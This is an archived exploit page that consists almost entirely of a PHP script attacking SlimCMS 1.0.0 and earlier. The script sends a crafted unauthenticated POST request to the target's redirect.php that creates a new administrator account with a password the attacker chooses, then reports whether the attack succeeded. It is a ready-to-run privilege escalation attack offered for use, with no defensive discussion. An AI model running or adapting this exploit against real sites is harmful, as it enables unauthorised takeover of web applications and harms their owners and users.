Home / os / win10

slimcms-escalate.txt

Posted on 11 October 2008

#!/usr/bin/php -q
<?php

/*
SlimCMS <= 1.0.0 Privilege Escalation Exploit
Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
Discovered On 11/10/2008
http://downloads.sourceforge.net/slimcms/SlimCMS-1.0.0.tgz?modtime=1217343227&big_mirror=0
*/


error_reporting(0);

$host = $argv[1];
$host = str_replace('http://',NULL,$host);
$path = $argv[2]."/redirect.php";
$user = $argv[3];

if(!preg_match('/http://(.+?)$/',$host) and strlen($user) < 5)
{
echo "[?] Usage: php $argv[0][host][path][username]
";
echo "[?] Usage: php $argv[0] http://localhost /cms milw0rm
";
exit;
}

if(!$sock = fsockopen($host,80))
{
die("Socket Error
");
}

$post .= "newusername=$user&newpassword=$user&newisadmin=1";
$data .= "POST /$path HTTP/1.1
";
$data .= "Host: $host
";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)
";
$data .= "Content-Type: application/x-www-form-urlencoded
";
$data .= "Content-Length: ".strlen($post)."
";
$data .= "Connection: close

";
$data .= "$post

";

fputs($sock,$data);

while(!feof($sock))
{
$content .= fgets($sock);
} fclose($sock);

if(eregi('change.php',$content))
{
echo "[?] Added New Administrator!
";
echo "[?] Username and Password: $user
";
exit;
}
else
{
echo "[?] Exploit Failed!
";
}


?>

 

TOP